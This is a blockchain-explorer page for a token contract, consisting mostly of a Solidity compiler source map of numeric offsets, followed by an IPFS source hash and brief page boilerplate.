15793:717:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3012:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3933:169;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;3933:169:0;1004:187:1;3338:108:0;3426:12;;3338:108;;;1342:25:1;;;1330:2;1315:18;3338:108:0;1196:177:1;4110:490:0;;;;;;:::i;:::-;;:::i;3236:92::-;;;3319:1;1853:36:1;;1841:2;1826:18;3236:92:0;1711:184:1;4608:215:0;;;;;;:::i;:::-;;:::i;3454:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3555:18:0;3528:7;3555:18;;;;;;;;;;;;3454:127;883:103;;;:::i;:::-;;658:87;731:6;;658:87;;-1:-1:-1;;;;;731:6:0;;;2237:51:1;;2225:2;2210:18;658:87:0;2091:203:1;3122:104:0;;;:::i;4831:413::-;;;;;;:::i;:::-;;:::i;3589:175::-;;;;;;:::i;:::-;;:::i;3774:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3890:18:0;;;3863:7;3890:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3774:151;994:201;;;;;;:::i;:::-;;:::i;3012:100::-;3066:13;3099:5;3092:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3012:100;:::o;3933:169::-;4016:4;4033:39;284:10;4056:7;4065:6;4033:8;:39::i;:::-;-1:-1:-1;4090:4:0;3933:169;;;;;:::o;4110:490::-;4250:4;4267:36;4277:6;4285:9;4296:6;4267:9;:36::i;:::-;-1:-1:-1;;;;;4341:19:0;;4314:24;4341:19;;;:11;:19;;;;;;;;284:10;4341:33;;;;;;;;4393:26;;;;4385:79;;;;-1:-1:-1;;;4385:79:0;;3151:2:1;4385:79:0;;;3133:21:1;3190:2;3170:18;;;3163:30;3229:34;3209:18;;;3202:62;-1:-1:-1;;;3280:18:1;;;3273:38;3328:19;;4385:79:0;;;;;;;;;4500:57;4509:6;284:10;4550:6;4531:16;:25;4500:8;:57::i;:::-;-1:-1:-1;4588:4:0;;4110:490;-1:-1:-1;;;;4110:490:0:o;4608:215::-;284:10;4696:4;4745:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4745:34:0;;;;;;;;;;4696:4;;4713:80;;4736:7;;4745:47;;4782:10;;4745:47;:::i;:::-;4713:8;:80::i;883:103::-;731:6;;-1:-1:-1;;;;;731:6:0;284:10;793:23;785:68;;;;-1:-1:-1;;;785:68:0;;3787:2:1;785:68:0;;;3769:21:1;;;3806:18;;;3799:30;3865:34;3845:18;;;3838:62;3917:18;;785:68:0;3585:356:1;785:68:0;948:30:::1;975:1;948:18;:30::i;:::-;883:103::o:0;3122:104::-;3178:13;3211:7;3204:14;;;;;:::i;4831:413::-;284:10;4924:4;4968:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4968:34:0;;;;;;;;;;5021:35;;;;5013:85;;;;-1:-1:-1;;;5013:85:0;;4148:2:1;5013:85:0;;;4130:21:1;4187:2;4167:18;;;4160:30;4226:34;4206:18;;;4199:62;-1:-1:-1;;;4277:18:1;;;4270:35;4322:19;;5013:85:0;3946:401:1;5013:85:0;5134:67;284:10;5157:7;5185:15;5166:16;:34;5134:8;:67::i;:::-;-1:-1:-1;5232:4:0;;4831:413;-1:-1:-1;;;4831:413:0:o;3589:175::-;3675:4;3692:42;284:10;3716:9;3727:6;3692:9;:42::i;994:201::-;731:6;;-1:-1:-1;;;;;731:6:0;284:10;793:23;785:68;;;;-1:-1:-1;;;785:68:0;;3787:2:1;785:68:0;;;3769:21:1;;;3806:18;;;3799:30;3865:34;3845:18;;;3838:62;3917:18;;785:68:0;3585:356:1;785:68:0;-1:-1:-1;;;;;1083:22:0;::::1;1075:73;;;::::0;-1:-1:-1;;;1075:73:0;;4554:2:1;1075:73:0::1;::::0;::::1;4536:21:1::0;4593:2;4573:18;;;4566:30;4632:34;4612:18;;;4605:62;-1:-1:-1;;;4683:18:1;;;4676:36;4729:19;;1075:73:0::1;4352:402:1::0;1075:73:0::1;1159:28;1178:8;1159:18;:28::i;:::-;994:201:::0;:::o;7111:380::-;-1:-1:-1;;;;;7247:19:0;;7239:68;;;;-1:-1:-1;;;7239:68:0;;4961:2:1;7239:68:0;;;4943:21:1;5000:2;4980:18;;;4973:30;5039:34;5019:18;;;5012:62;-1:-1:-1;;;5090:18:1;;;5083:34;5134:19;;7239:68:0;4759:400:1;7239:68:0;-1:-1:-1;;;;;7326:21:0;;7318:68;;;;-1:-1:-1;;;7318:68:0;;5366:2:1;7318:68:0;;;5348:21:1;5405:2;5385:18;;;5378:30;5444:34;5424:18;;;5417:62;-1:-1:-1;;;5495:18:1;;;5488:32;5537:19;;7318:68:0;5164:398:1;7318:68:0;-1:-1:-1;;;;;7399:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7451:32;;1342:25:1;;;7451:32:0;;1315:18:1;7451:32:0;;;;;;;7111:380;;;:::o;16188:319::-;-1:-1:-1;;;;;16320:18:0;;16312:68;;;;-1:-1:-1;;;16312:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16399:16:0;;16391:64;;;;-1:-1:-1;;;16391:64:0;;;;;;;:::i;:::-;16466:33;16482:4;16488:2;16492:6;16466:15;:33::i;:::-;16188:319;;;:::o;1205:191::-;1298:6;;;-1:-1:-1;;;;;1315:17:0;;;-1:-1:-1;;;;;;1315:17:0;;;;;;;1348:40;;1298:6;;;1315:17;1298:6;;1348:40;;1279:16;;1348:40;1268:128;1205:191;:::o;5252:845::-;-1:-1:-1;;;;;5392:20:0;;5384:70;;;;-1:-1:-1;;;5384:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5473:23:0;;5465:71;;;;-1:-1:-1;;;5465:71:0;;;;;;;:::i;:::-;5548:12;5562:15;5579;5598:47;5619:6;5627:9;5638:6;5598:20;:47::i;:::-;-1:-1:-1;;;;;5680:17:0;;5656:21;5680:17;;;;;;;;;;;5547:98;;-1:-1:-1;5547:98:0;;-1:-1:-1;5547:98:0;-1:-1:-1;5717:17:0;5547:98;;5717:11;:17::i;:::-;5708:26;;5770:6;5753:13;:23;;5745:74;;;;-1:-1:-1;;;5745:74:0;;6579:2:1;5745:74:0;;;6561:21:1;6618:2;6598:18;;;6591:30;6657:34;6637:18;;;6630:62;-1:-1:-1;;;6708:18:1;;;6701:36;6754:19;;5745:74:0;6377:402:1;5745:74:0;5875:23;:13;5893:4;5875:17;:23::i;:::-;-1:-1:-1;;;;;5855:17:0;;;:9;:17;;;;;;;;;;;:43;;;;5943:20;;;;;;;:33;;5968:7;5943:24;:33::i;:::-;-1:-1:-1;;;;;5920:20:0;;;:9;:20;;;;;;;;;;;;:56;;;;5994:36;1342:25:1;;;5920:20:0;;5994:36;;;;;;1315:18:1;5994:36:0;;;;;;;5373:724;;;;5252:845;;;:::o;7499:266::-;7675:15;;:82;;-1:-1:-1;;;7675:82:0;;-1:-1:-1;;;;;7042:15:1;;;7675:82:0;;;7024:34:1;7094:15;;;7074:18;;;7067:43;7126:18;;;7119:34;;;7631:7:0;;;;;;7675:15;;;;:66;;6959:18:1;;7675:82:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7668:89;;;;;;7499:266;;;;;;;:::o;9374:98::-;9432:7;9459:5;9463:1;9459;:5;:::i;:::-;9452:12;9374:98;-1:-1:-1;;;9374:98:0:o;9056:::-;9114:7;9141:5;9145:1;9141;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2299:260::-;2367:6;2375;2428:2;2416:9;2407:7;2403:23;2399:32;2396:52;;;2444:1;2441;2434:12;2396:52;2467:29;2486:9;2467:29;:::i;:::-;2457:39;;2515:38;2549:2;2538:9;2534:18;2515:38;:::i;:::-;2505:48;;2299:260;;;;;:::o;2564:380::-;2643:1;2639:12;;;;2686;;;2707:61;;2761:4;2753:6;2749:17;2739:27;;2707:61;2814:2;2806:6;2803:14;2783:18;2780:38;2777:161;;2860:10;2855:3;2851:20;2848:1;2841:31;2895:4;2892:1;2885:15;2923:4;2920:1;2913:15;2777:161;;2564:380;;;:::o;3358:222::-;3423:9;;;3444:10;;;3441:133;;;3496:10;3491:3;3487:20;3484:1;3477:31;3531:4;3528:1;3521:15;3559:4;3556:1;3549:15;5567:401;5769:2;5751:21;;;5808:2;5788:18;;;5781:30;5847:34;5842:2;5827:18;;5820:62;-1:-1:-1;;;5913:2:1;5898:18;;5891:35;5958:3;5943:19;;5567:401::o;5973:399::-;6175:2;6157:21;;;6214:2;6194:18;;;6187:30;6253:34;6248:2;6233:18;;6226:62;-1:-1:-1;;;6319:2:1;6304:18;;6297:33;6362:3;6347:19;;5973:399::o;7164:306::-;7252:6;7260;7268;7321:2;7309:9;7300:7;7296:23;7292:32;7289:52;;;7337:1;7334;7327:12;7289:52;7366:9;7360:16;7350:26;;7416:2;7405:9;7401:18;7395:25;7385:35;;7460:2;7449:9;7445:18;7439:25;7429:35;;7164:306;;;;;:::o;7475:217::-;7515:1;7541;7531:132;;7585:10;7580:3;7576:20;7573:1;7566:31;7620:4;7617:1;7610:15;7648:4;7645:1;7638:15;7531:132;-1:-1:-1;7677:9:1;;7475:217::o

Swarm Source

ipfs://6ca8d52324303b4b19f194c96bd0bdcb750d14d8fa9dc0de69fbb6afdf4d9439
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.